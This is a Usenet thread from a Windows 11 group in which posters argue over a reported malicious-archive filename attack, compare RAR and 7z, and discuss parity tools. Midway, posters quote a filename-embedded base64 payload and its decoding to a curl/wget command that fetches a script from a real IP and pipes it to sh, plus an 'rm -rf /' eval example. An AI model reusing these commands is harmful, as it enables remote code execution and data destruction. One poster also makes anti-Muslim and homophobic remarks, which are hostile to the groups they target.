When archives have SFX (self extracting archive), the tool for
the format never executes that SFX, it always parses the payload
section instead. Even if the SFX has been replaced with an exploit,
there is still a degree of safety. It begs the question, why does
the SFX option even exist, if the devs don't "trust" their own SFX :-)
SFX was invented a long time ago, before exploits were a real problem.

Paul
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 28 Aug 2025 19:18:13 -0400, Paul wrote:

On Thu, 8/28/2025 6:32 PM, Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 07:54:45 -0400, Paul wrote:

This is a different class of bug, in that it is an architecture bug.

There is no rCLbugrCY or rCLsecurity vulnerabilityrCY here. Look at the Trellix
report again: the only way the rCLsecurity expertrCY could compromise their >> system was by doing stupid things with the rCLevalrCY command.

But you still have to figure out, where that is happening during the event.

You mean, if a filename gets created like

FILENAME='rm -rf /'

and someone does

eval $FILENAME

there is something you rCLstill have to figure outrCY?
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 28 Aug 2025 19:40:41 -0400, Paul wrote:

The ze[a]lots don't write the code.

But they canrCOt stop moaning about those who *do* write the code, can they?

There might be more to this story than has been reported.
Maybe there is an actual exploit, allowing the shell to become
involved where that was not expected.

No sign of that in the original Trellix report. Feel free to re-read to
see if I missed anything.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 8/28/2025 8:50 PM, Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 19:18:13 -0400, Paul wrote:

On Thu, 8/28/2025 6:32 PM, Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 07:54:45 -0400, Paul wrote:

This is a different class of bug, in that it is an architecture bug.

There is no rCLbugrCY or rCLsecurity vulnerabilityrCY here. Look at the Trellix
report again: the only way the rCLsecurity expertrCY could compromise their
system was by doing stupid things with the rCLevalrCY command.

But you still have to figure out, where that is happening during the event.

You mean, if a filename gets created like

FILENAME='rm -rf /'

and someone does

eval $FILENAME

there is something you rCLstill have to figure outrCY?

But there is no "FILENAME=" in this scenario.

For example, without looking at the manual page.

unrar -t compressed.rar # Typically lists the contents of an archive
$ The exploit string would not be expanded at this point,
# as it is arriving on a "stdin" on the main program.

unrar -x compressed.rar filename-obtained-from-previous-step # Then a shell expansion happens on the filename part
# Because the filename string was formulated for exploitation
# when used as a shell argument.

Phishing attack via email attachment, is a well well known attack surface.
You would have to be some kind of general purpose idiot, to not have
a separate review of your project from a security perspective.

The bad part, is forking a shell to do this, when direct
usage of libarchive and staying within your own process space,
would also have worked. If you put your mind to it, there
are multiple ways that no shell need be involved at all.

And supporting archives, is ALWAYS going to be a bad thing. There are
other ways to exploit an archive format. Maybe the archive handling
should be inside a sandbox, or handled in a separate process (like
video playback is handled in a separate process, as a barrier to video
format exploits).

Hobbyists code this way (lazy shell forkers). Professionals... do not.

You know one of the Linux utilities, the author of it
was so paranoid, he made the utility sense what Ring it
was in when executed. The behavior of the utility changes,
whether it is in Ring3 or Ring2. Not many people will
go to that much trouble for a design. when that code is
run in a VM, it... slows right down. It runs at 10% of
normal speed. You can see this when running Synaptic
and installing a package. There used to be a long and abnormal
delay, and it was a Ring sensitive utility doing it.

Firefox has stack-smashing detection code in it.
Hobbyists don't do that. Professionals, do.

And you just know this isn't the end of it. Some projects
are still PPA status, and they're lazy shell forkers, and people
just install the software and hope for the best. You lose the
potential of a security review, by the person in the repository
team, reviewing how a newly imported program works. The people on
the repository teams, they do add value.

My old email tool, it had the right approach. The only code it had
resident inside it, was the BASE64 unpacker. It would not open your
RAR, your ZIP, your 7Z, your XZ, and that was left as your job to do,
and if there was a security incident, it was the fault of the unZIP or whatever.

Paul
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Thu, 28 Aug 2025 22:44:41 -0400, Paul wrote:

For example, without looking at the manual page.

unrar -t compressed.rar # Typically lists the contents of an archive
$ The exploit string would not be expanded at this point,
# as it is arriving on a "stdin" on the main program.

unrar -x compressed.rar filename-obtained-from-previous-step # Then a shell expansion happens on the filename part
# Because the filename string was formulated for exploitation
# when used as a shell argument.

OK, I tried it. I donrCOt do RAR, but that shouldnrCOt matter:

ldo@theon:vshell_try> ls -l
total 4
-rw-r--r-- 1 ldo users 476 Aug 29 15:59 funny.zip
ldo@theon:vshell_try> lsar -l funny.zip
funny.zip: Zip
Flags File size Ratio Mode Date Time Name
===== ========== ===== ==== ========== ===== ====
0. ----- 0 ----- None 2025-08-29 15:59 ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash
(Flags: D=Directory, R=Resource fork, L=Link, E=Encrypted, @=Extended attributes)
ldo@theon:vshell_try> ls -l
total 4
-rw-r--r-- 1 ldo users 476 Aug 29 15:59 funny.zip
-rw-r--r-- 1 ldo users 0 Aug 29 15:59 ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash

So what was supposed to happen, again?
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Fri, 8/29/2025 12:02 AM, Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 22:44:41 -0400, Paul wrote:

For example, without looking at the manual page.

unrar -t compressed.rar # Typically lists the contents of an archive
$ The exploit string would not be expanded at this point,
# as it is arriving on a "stdin" on the main program.

unrar -x compressed.rar filename-obtained-from-previous-step # Then a shell expansion happens on the filename part
# Because the filename string was formulated for exploitation
# when used as a shell argument.

OK, I tried it. I donrCOt do RAR, but that shouldnrCOt matter:

ldo@theon:vshell_try> ls -l
total 4
-rw-r--r-- 1 ldo users 476 Aug 29 15:59 funny.zip
ldo@theon:vshell_try> lsar -l funny.zip
funny.zip: Zip
Flags File size Ratio Mode Date Time Name
===== ========== ===== ==== ========== ===== ====
0. ----- 0 ----- None 2025-08-29 15:59 ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash
(Flags: D=Directory, R=Resource fork, L=Link, E=Encrypted, @=Extended attributes)
ldo@theon:vshell_try> ls -l
total 4
-rw-r--r-- 1 ldo users 476 Aug 29 15:59 funny.zip
-rw-r--r-- 1 ldo users 0 Aug 29 15:59 ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash

So what was supposed to happen, again?

The base64 conversion looks like this.

(curl -fsSL -m180 http://47.98.194.60:8084/slw||wget -T180 -q http://47.98.194.60:8084/slw)|sh

It looks like a download, is being fed right into a shell, but that only happens
after the base64 step, that base64 step wrapped in syntax I don't recognize.

Paul
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Fri, 29 Aug 2025 00:53:53 -0400, Paul wrote:

On Fri, 8/29/2025 12:02 AM, Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 22:44:41 -0400, Paul wrote:

For example, without looking at the manual page.

unrar -t compressed.rar # Typically lists the contents of an archive
$ The exploit string would not be expanded at this point,
# as it is arriving on a "stdin" on the main program.

unrar -x compressed.rar filename-obtained-from-previous-step # Then a shell expansion happens on the filename part
# Because the filename string was formulated for exploitation
# when used as a shell argument.

OK, I tried it. I donrCOt do RAR, but that shouldnrCOt matter:

ldo@theon:vshell_try> ls -l
total 4
-rw-r--r-- 1 ldo users 476 Aug 29 15:59 funny.zip
ldo@theon:vshell_try> lsar -l funny.zip
funny.zip: Zip
Flags File size Ratio Mode Date Time Name
===== ========== ===== ==== ========== ===== ====
0. ----- 0 ----- None 2025-08-29 15:59 ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash
(Flags: D=Directory, R=Resource fork, L=Link, E=Encrypted, @=Extended attributes)
ldo@theon:vshell_try> ls -l
total 4
-rw-r--r-- 1 ldo users 476 Aug 29 15:59 funny.zip
-rw-r--r-- 1 ldo users 0 Aug 29 15:59 ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash

So what was supposed to happen, again?

The base64 conversion looks like this.

(curl -fsSL -m180 http://47.98.194.60:8084/slw||wget -T180 -q http://47.98.194.60:8084/slw)|sh

It looks like a download, is being fed right into a shell, but that
only happens after the base64 step, that base64 step wrapped in
syntax I don't recognize.

But how is it supposed to be rCLfed right into a shellrCY? It didnrCOt
happen for me.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-28 6:35 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 09:02:34 -0400, CrudeSausage wrote:

RAR is usually the compression tool pirates use for their software. For
my tastes, 7z is just fine ...

A few times now, after extracting a .rar archive, I have tried
recompressing the result as .7z.

In every case, the .7z file ended up smaller than the .rar version.

I might be wrong since I never really compress anything, but I believe
that RAR is prioritized over 7z or ZIP not because it has a better
compression rate, but because it makes it easy to create a number of similarly-sized files connected to the same piece of software. I'm sure
that anyone who pirated software here, whether through Usenet, a BBS or
the Internet, recalls the software coming in 16 equally-sized RAR, R01,
R02 and so on files. Perhaps that was the advantage of the format.
--
God be with you,

CrudeSausage
Islam is the enemy
John 14:6
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-28 6:36 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 08:45:16 -0400, CrudeSausage wrote:

Malware is not as much of a problem as the vulnerabilities are.

There was no rCLvulnerabilityrCY here. Read the Trellix report for yourself, and judge.

Yes, why would I call it a vulnerability just because it was reported as
a vulnerability? Silly me!
--
God be with you,

CrudeSausage
Islam is the enemy
John 14:6
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-28 5:30 p.m., chrisv wrote:

CrudeSausage wrote:

Every operating system has vulnerabilities. The obstacle to fixing them
on Linux used to be devout Linux zealots who would deny their severity
or the existence of the problem.

I don't recall any such thing happening.

Now, it's a band of homosexual
crusaders who put sexual identity before competence and are mostly
incapable of fixing them even if asked to do so. As sad as it is, Linux
is only going to get worse because of this, just look at how many
orphaned modules the Linux kernels now contains.

How many are there? Do they hurt anything?

About 138, and I would assume that having 8% of the modules as orphaned
in the kernel will indeed cause problems immediately or eventually.

Much of Linux development is driven from business interests, and
that's not going away.

I get the impression that going forward, development of Linux for
certain types of computers will progress nicely but that its
compatibility with the entire universe of machines will be compromised.
For example, you might be guaranteed a compatible machine if you buy
from System76, but Linux might not run on the average computer in ten
years because there will be no one around with an interest in developing drivers for the hardware not being sold by a corporation directly
involved in Linux sales.

Of course, I emphasize that it is my _impression_.
--
God be with you,

CrudeSausage
Islam is the enemy
John 14:6
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-28 6:29 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 08:44:30 -0400, CrudeSausage wrote:

Every operating system has vulnerabilities. The obstacle to fixing
them on Linux used to be devout Linux zealots who would deny their
severity or the existence of the problem.

And of course no non-zealot has the software chops to come up with
their own fixes, have they? ItrCOs not like the software is free for you
to use and study and modify and redistribute and ...

... oh, wait.

You can't on one hand expect for the average user to adopt Linux and
then call on them to learn to code to fix their issues. Those are two different types of users and the former will just uninstall the software
and go back to what's familiar in either Windows or Mac OS, walled
garden or not.
--
God be with you,

CrudeSausage
Islam is the enemy
John 14:6
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Fri, 8/29/2025 8:38 AM, CrudeSausage wrote:

On 2025-08-28 6:35 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 09:02:34 -0400, CrudeSausage wrote:

RAR is usually the compression tool pirates use for their software. For
my tastes, 7z is just fine ...

A few times now, after extracting a .rar archive, I have tried
recompressing the result as .7z.

In every case, the .7z file ended up smaller than the .rar version.

I might be wrong since I never really compress anything, but I believe that RAR is prioritized over 7z or ZIP not because it has a better compression rate, but because it makes it easy to create a number of similarly-sized files connected to the same piece of software. I'm sure that anyone who pirated software here, whether through Usenet, a BBS or the Internet, recalls the software coming in 16 equally-sized RAR, R01, R02 and so on files. Perhaps that was the advantage of the format.

7Z can also make a series of size-limited files
when it outputs a compressed item.

"split to volumes, bytes"

That allows you to give a byte specification
for what size output file you want. Like a few bytes
short of 4GB, would allow storing a 16GB 7Z archive
as four 4GB files on a FAT32 partition.

sample.7z.1
sample.7z.3177 <=== it numbers the volumes as it makes the archive series

7Z compresses a bit better than RAR. Both support
encryption as an option. Obviously, when something
compresses better, there is a time versus quality tradeoff.
One of the ways 7Zip does this, is by using a relatively
large dictionary per thread. (If you compress on 32 cores
and 600MB dictionary, that takes 19GB of RAM, so you'd want
the next size up of computer, or 32GB of dual channel RAM).
When you build a computer with that many cores, compression
is assumed to be one of the applications (gaming can be
done with eight cores if you like).

https://storedbits.com/7-zip-vs-winrar-vs-winzip/

I was able to find one comparison web site, where the results
were silly and wrong. You have to be careful with this stuff.

Video files, the good formats are already compressed, and
applying a compressor does not help much. However, the AES-256
encryption the tool can apply, there are reasons a person may
be doing that to the payload :-) Remember to pick a strong
password.

Once you encrypt a file, it can't be compressed any more,
so encryption is the "last step".

I use 7ZIP compression for virtual machine containers
and for Macrium backups (older ones, making space for
more backups on a backup HDD). Since 7ZIP runs on all cores,
it can use a fair bit of electricity. To compress a hard
drive, costs a bucks worth of electricity :-) A measurable
expense.

Paul
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-29 10:35 a.m., Paul wrote:

On Fri, 8/29/2025 8:38 AM, CrudeSausage wrote:

On 2025-08-28 6:35 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 09:02:34 -0400, CrudeSausage wrote:

RAR is usually the compression tool pirates use for their software. For >>>> my tastes, 7z is just fine ...

A few times now, after extracting a .rar archive, I have tried
recompressing the result as .7z.

In every case, the .7z file ended up smaller than the .rar version.

I might be wrong since I never really compress anything, but I believe that RAR is prioritized over 7z or ZIP not because it has a better compression rate, but because it makes it easy to create a number of similarly-sized files connected to the same piece of software. I'm sure that anyone who pirated software here, whether through Usenet, a BBS or the Internet, recalls the software coming in 16 equally-sized RAR, R01, R02 and so on files. Perhaps that was the advantage of the format.

7Z can also make a series of size-limited files
when it outputs a compressed item.

"split to volumes, bytes"

That allows you to give a byte specification
for what size output file you want. Like a few bytes
short of 4GB, would allow storing a 16GB 7Z archive
as four 4GB files on a FAT32 partition.

sample.7z.1
sample.7z.3177 <=== it numbers the volumes as it makes the archive series

7Z compresses a bit better than RAR. Both support
encryption as an option. Obviously, when something
compresses better, there is a time versus quality tradeoff.
One of the ways 7Zip does this, is by using a relatively
large dictionary per thread. (If you compress on 32 cores
and 600MB dictionary, that takes 19GB of RAM, so you'd want
the next size up of computer, or 32GB of dual channel RAM).
When you build a computer with that many cores, compression
is assumed to be one of the applications (gaming can be
done with eight cores if you like).

https://storedbits.com/7-zip-vs-winrar-vs-winzip/

I was able to find one comparison web site, where the results
were silly and wrong. You have to be careful with this stuff.

Video files, the good formats are already compressed, and
applying a compressor does not help much. However, the AES-256
encryption the tool can apply, there are reasons a person may
be doing that to the payload :-) Remember to pick a strong
password.

Once you encrypt a file, it can't be compressed any more,
so encryption is the "last step".

I use 7ZIP compression for virtual machine containers
and for Macrium backups (older ones, making space for
more backups on a backup HDD). Since 7ZIP runs on all cores,
it can use a fair bit of electricity. To compress a hard
drive, costs a bucks worth of electricity :-) A measurable
expense.

Paul

Good to know. To be honest, I see no reason why anyone would use
anything other than 7zip when the program is free to use.
--
God be with you,

CrudeSausage
Islam is the enemy
John 14:6
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Fri, 29 Aug 2025 08:39:24 -0400, CrudeSausage wrote:

On 2025-08-28 6:36 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 08:45:16 -0400, CrudeSausage wrote:

Malware is not as much of a problem as the vulnerabilities are.

There was no rCLvulnerabilityrCY here. Read the Trellix report for
yourself, and judge.

Yes, why would I call it a vulnerability just because it was
reported as a vulnerability? Silly me!

Silly you, indeed!

It was never rCLreported as a vulnerabilityrCY. If it had, it would have
been assigned a CVE number. There is no CVE number (at least that is
mentioned in the Trellix report) associated with this so-called rCLvulnerabilityrCY. DoesnrCOt that make you think twice before jumping to conclusions?
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

Lawrence DAOliveiro wrote on 8/29/2025 7:16 PM:

On Fri, 29 Aug 2025 08:39:24 -0400, CrudeSausage wrote:

On 2025-08-28 6:36 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 08:45:16 -0400, CrudeSausage wrote:

Malware is not as much of a problem as the vulnerabilities are.

There was no rCLvulnerabilityrCY here. Read the Trellix report for
yourself, and judge.

Yes, why would I call it a vulnerability just because it was
reported as a vulnerability? Silly me!

Silly you, indeed!

It was never rCLreported as a vulnerabilityrCY. If it had, it would have
been assigned a CVE number. There is no CVE number (at least that is mentioned in the Trellix report) associated with this so-called rCLvulnerabilityrCY. DoesnrCOt that make you think twice before jumping to conclusions?

Yes. Every time a flaw has ever been reported with linux, It has
ALWAYS turned out to be a false alarm. Linux is perfect, so why do
people keep reporting problems? I think it's a conspiracy.

--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Fri, 29 Aug 2025 20:02:01 -0500, Hank Rogers wrote:

Yes. Every time a flaw has ever been reported with linux, It has
ALWAYS turned out to be a false alarm.

Do you have any evidence for that?
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Fri, 29 Aug 2025 08:36:51 -0400, CrudeSausage wrote:

On 2025-08-28 6:29 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 08:44:30 -0400, CrudeSausage wrote:

Every operating system has vulnerabilities. The obstacle to fixing
them on Linux used to be devout Linux zealots who would deny their
severity or the existence of the problem.

And of course no non-zealot has the software chops to come up with
their own fixes, have they? ItrCOs not like the software is free for you
to use and study and modify and redistribute and ...

... oh, wait.

You can't on one hand expect for the average user to adopt Linux and
then call on them to learn to code to fix their issues.

I do expect the average complainer to have some basis for their
complaints, though.

The rCLFreerCY in rCLFree softwarerCY was always about freedom from restrictions,
not about not having to pay money. As with anything, if you have problems
with revenue-earning mission-critical systems, you hire somebody qualified
to maintain them for you. You donrCOt expect something for nothing, do you?
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Fri, 8/29/2025 8:36 AM, CrudeSausage wrote:

On 2025-08-28 6:29 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 08:44:30 -0400, CrudeSausage wrote:

Every operating system has vulnerabilities. The obstacle to fixing
them on Linux used to be devout Linux zealots who would deny their
severity or the existence of the problem.

And of course no non-zealot has the software chops to come up with
their own fixes, have they? ItrCOs not like the software is free for you
to use and study and modify and redistribute and ...

... oh, wait.

You can't on one hand expect for the average user to adopt Linux and
then call on them to learn to code to fix their issues. Those are two different types of users and the former will just uninstall the software
and go back to what's familiar in either Windows or Mac OS, walled garden or not.

What are their issues again ?

It seems Trellix sells software for scanning for the "kinds"
of issues identified in their "research". This makes the description
they have posted, a bit conflicted. I can't find any comment via a
Google search, amplifying the "discovery" and filling in the details.
Detail is missing. They may have discovered something, but the
best marketing comes from being honest.

*******

As for the year of the Linux desktop, let's paint the hardware picture first.

1) 400 million PCs put on curb for disposal.
119 of the PCs rescued and put on tables at Mickys place.
2) 200 million people will say "I'll just use my phone" and
they will buy a monitor to plug into the phone. No OS needed.
Computer store won't have just the right monitor for them.
(I don't know if the audience has seen the monitor situation now.)
3) The latest bargain this year, is the Chinese mini-PC.
Comes with Win11 presumably. Can't game. Can do homework.
Will likely be a thing, until DDR4 production is stopped for a second time. 4) HP and Dell will sell $4000 computers with NVidia cards in them.
718 kids will have a Merry Christmas. (For some people, their credit
card limit is too low, once the sales tax is added.)

That leaves 23 PCs ready to receive their LM221 DVD. Since no one
is available to help the people with their installs, the notion
will be a well hidden secret. Linux Grandma will hand out the
DVDs with her batches of cookies.

N.A. computer industry will collapse. Linux percentages will climb,
by virtue of the competitor having gone to the junk yard. Microsoft ?
They will open a new line of stuffed animals. And a lemonade stand
next to the main building in Redmond.

The mini-PCs don't have an NPU, so they won't be NPUing.
The mini-PCs also don't have enough RAM for a "big" AI model,
but small models using trits (-1,0,+1) are still possible. Surprisingly,
a CPU can run an LLM AI model, and while the answer does not
come out super-fast, you still get an answer. My AI model
told me Biden was still president, which made quite an impression
when I was given the result (that's caused by the date the training
data was frozen). There are AI, now equipped with their own web browsers,
who can sniff for more up-to-date cites (by using Wikipedia presumably). Wikipedia will request donations from the AI. The AI will laugh at them.

Paul
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-29 14:38, CrudeSausage wrote:

On 2025-08-28 6:35 p.m., Lawrence DrCOOliveiro wrote:

On Thu, 28 Aug 2025 09:02:34 -0400, CrudeSausage wrote:

RAR is usually the compression tool pirates use for their software. For
my tastes, 7z is just fine ...

A few times now, after extracting a .rar archive, I have tried
recompressing the result as .7z.

In every case, the .7z file ended up smaller than the .rar version.

I might be wrong since I never really compress anything, but I believe
that RAR is prioritized over 7z or ZIP not because it has a better compression rate, but because it makes it easy to create a number of similarly-sized files connected to the same piece of software. I'm sure
that anyone who pirated software here, whether through Usenet, a BBS or
the Internet, recalls the software coming in 16 equally-sized RAR, R01,
R02 and so on files. Perhaps that was the advantage of the format.

One of the reasons, there is never only one, is that rar has error
recovery. Meaning that you could create a rar archive divided into
several floppies (or CDs), and if some sectors were damaged, or lost in transmission, the whole thing could still be correctly decompressed.

Of course, error protection means a larger archive.
--
Cheers, Carlos.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Sun, 31 Aug 2025 02:35:46 +0200, Carlos E.R. wrote:

One of the reasons, there is never only one, is that rar has error
recovery. Meaning that you could create a rar archive divided into
several floppies (or CDs), and if some sectors were damaged, or lost in transmission, the whole thing could still be correctly decompressed.

That division of data into blocks with redundancy to cope with some
proportion of missing/damaged blocks is called an rCLerasure coderCY. E.g. fountain codes <https://errorcorrectionzoo.org/c/fountain> provide this
sort of function.

ThatrCOs orthogonal to packing up files into an archive and applying compression, though. It can be useful to have one without the other.

I was looking through the standard Debian repo for some utility that
provides such redundant segmentation, and I couldnrCOt find one.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Sun, 31 Aug 2025 01:21:53 -0000 (UTC), Lawrence D|Oliveiro
<ldo@nz.invalid> wrote:

On Sun, 31 Aug 2025 02:35:46 +0200, Carlos E.R. wrote:

One of the reasons, there is never only one, is that rar has error
recovery. Meaning that you could create a rar archive divided into
several floppies (or CDs), and if some sectors were damaged, or lost in
transmission, the whole thing could still be correctly decompressed.

That division of data into blocks with redundancy to cope with some >proportion of missing/damaged blocks is called an oerasure codeo. E.g. >fountain codes <https://errorcorrectionzoo.org/c/fountain> provide this
sort of function.

ThatAs orthogonal to packing up files into an archive and applying >compression, though. It can be useful to have one without the other.

I was looking through the standard Debian repo for some utility that >provides such redundant segmentation, and I couldnAt find one.

Have you looked at MultiPar or Easy Par2?

--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Sun, 31 Aug 2025 12:58:36 -0500, Char Jackson wrote:

On Sun, 31 Aug 2025 01:21:53 -0000 (UTC), Lawrence D-|Oliveiro <ldo@nz.invalid> wrote:

I was looking through the standard Debian repo for some utility that
provides such redundant segmentation, and I couldnrCOt find one.

Have you looked at MultiPar or Easy Par2?

I had a suspicion something like that existed, thank you for giving me
a name to search for!

<http://parchive.sourceforge.net>
<https://packages.debian.org/trixie/parchive>
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On 2025-08-31 03:21, Lawrence DrCOOliveiro wrote:

On Sun, 31 Aug 2025 02:35:46 +0200, Carlos E.R. wrote:

One of the reasons, there is never only one, is that rar has error
recovery. Meaning that you could create a rar archive divided into
several floppies (or CDs), and if some sectors were damaged, or lost in
transmission, the whole thing could still be correctly decompressed.

That division of data into blocks with redundancy to cope with some proportion of missing/damaged blocks is called an rCLerasure coderCY. E.g. fountain codes <https://errorcorrectionzoo.org/c/fountain> provide this
sort of function.

Or "forward error correction". The NASA knows a lot about this, it is
used in transmissions from the remote craft.

And oh, yes, I verified long ago that the feature did work as intended
with floppies (rar).

ThatrCOs orthogonal to packing up files into an archive and applying compression, though. It can be useful to have one without the other.

Certainly.

I was looking through the standard Debian repo for some utility that
provides such redundant segmentation, and I couldnrCOt find one.

par and par2, maybe. parchive.
--
Cheers, Carlos.
--- Synchronet 3.21a-Linux NewsLink 1.2

From Newsgroup: alt.comp.os.windows-11

On Sun, 8/31/2025 8:44 PM, Carlos E.R. wrote:

On 2025-08-31 03:21, Lawrence DrCOOliveiro wrote:

On Sun, 31 Aug 2025 02:35:46 +0200, Carlos E.R. wrote:

One of the reasons, there is never only one, is that rar has error
recovery. Meaning that you could create a rar archive divided into
several floppies (or CDs), and if some sectors were damaged, or lost in
transmission, the whole thing could still be correctly decompressed.

That division of data into blocks with redundancy to cope with some
proportion of missing/damaged blocks is called an rCLerasure coderCY. E.g. >> fountain codes <https://errorcorrectionzoo.org/c/fountain> provide this
sort of function.

Or "forward error correction". The NASA knows a lot about this, it is used in transmissions from the remote craft.

And oh, yes, I verified long ago that the feature did work as intended with floppies (rar).

ThatrCOs orthogonal to packing up files into an archive and applying
compression, though. It can be useful to have one without the other.

Certainly.

I was looking through the standard Debian repo for some utility that
provides such redundant segmentation, and I couldnrCOt find one.

par and par2, maybe. parchive.

You want to be careful with Par2.

The last time I was interested in the topic, it seemed
the method had some "issues", and a parity set a user
prepared, there was maybe a one in thirty chance it
would not work properly if a block was lost. Each of the
items here, is a large block of data.

Data Data Data Data Data Data Parity Parity Parity # The full set (6) with lots of redundancy (3)

# Now, remove a block. You can even remove a Parity block and it will be repaired.

Data Data Data Data Data Data Parity Parity # You should be able to repair that missing Parity
# But sometimes the algorithm fails to work.

I would recommend doing that sort of test. Remove a Data or two.
Remove a Parity or two. See if the program can recover the missing
bits. In the example above, you can lose any combination of
three blocks, and they are supposed to be returned to you
via calculation. You could lose two Parity and one Data, and
the Data would be recoverable, as well as the two Parity.

And the order you would do them in, is:

1) Compression first (squeeze the data down)
2) Encryption (can't compress it after it is encrypted)
3) Par2 processing (add Parity blocks before cold storage or transmission)

At the time, some of us were interested in this, for backups.
There was at least one poster here, who liked to back up to
optical media, and you could make two or three optical medias
which are just parity. If you lost one of the discs or
it could not be read, the Par2 could recover it. But in the
above example, you would be burning nine discs instead
of six discs.

Paul
--- Synchronet 3.21a-Linux NewsLink 1.2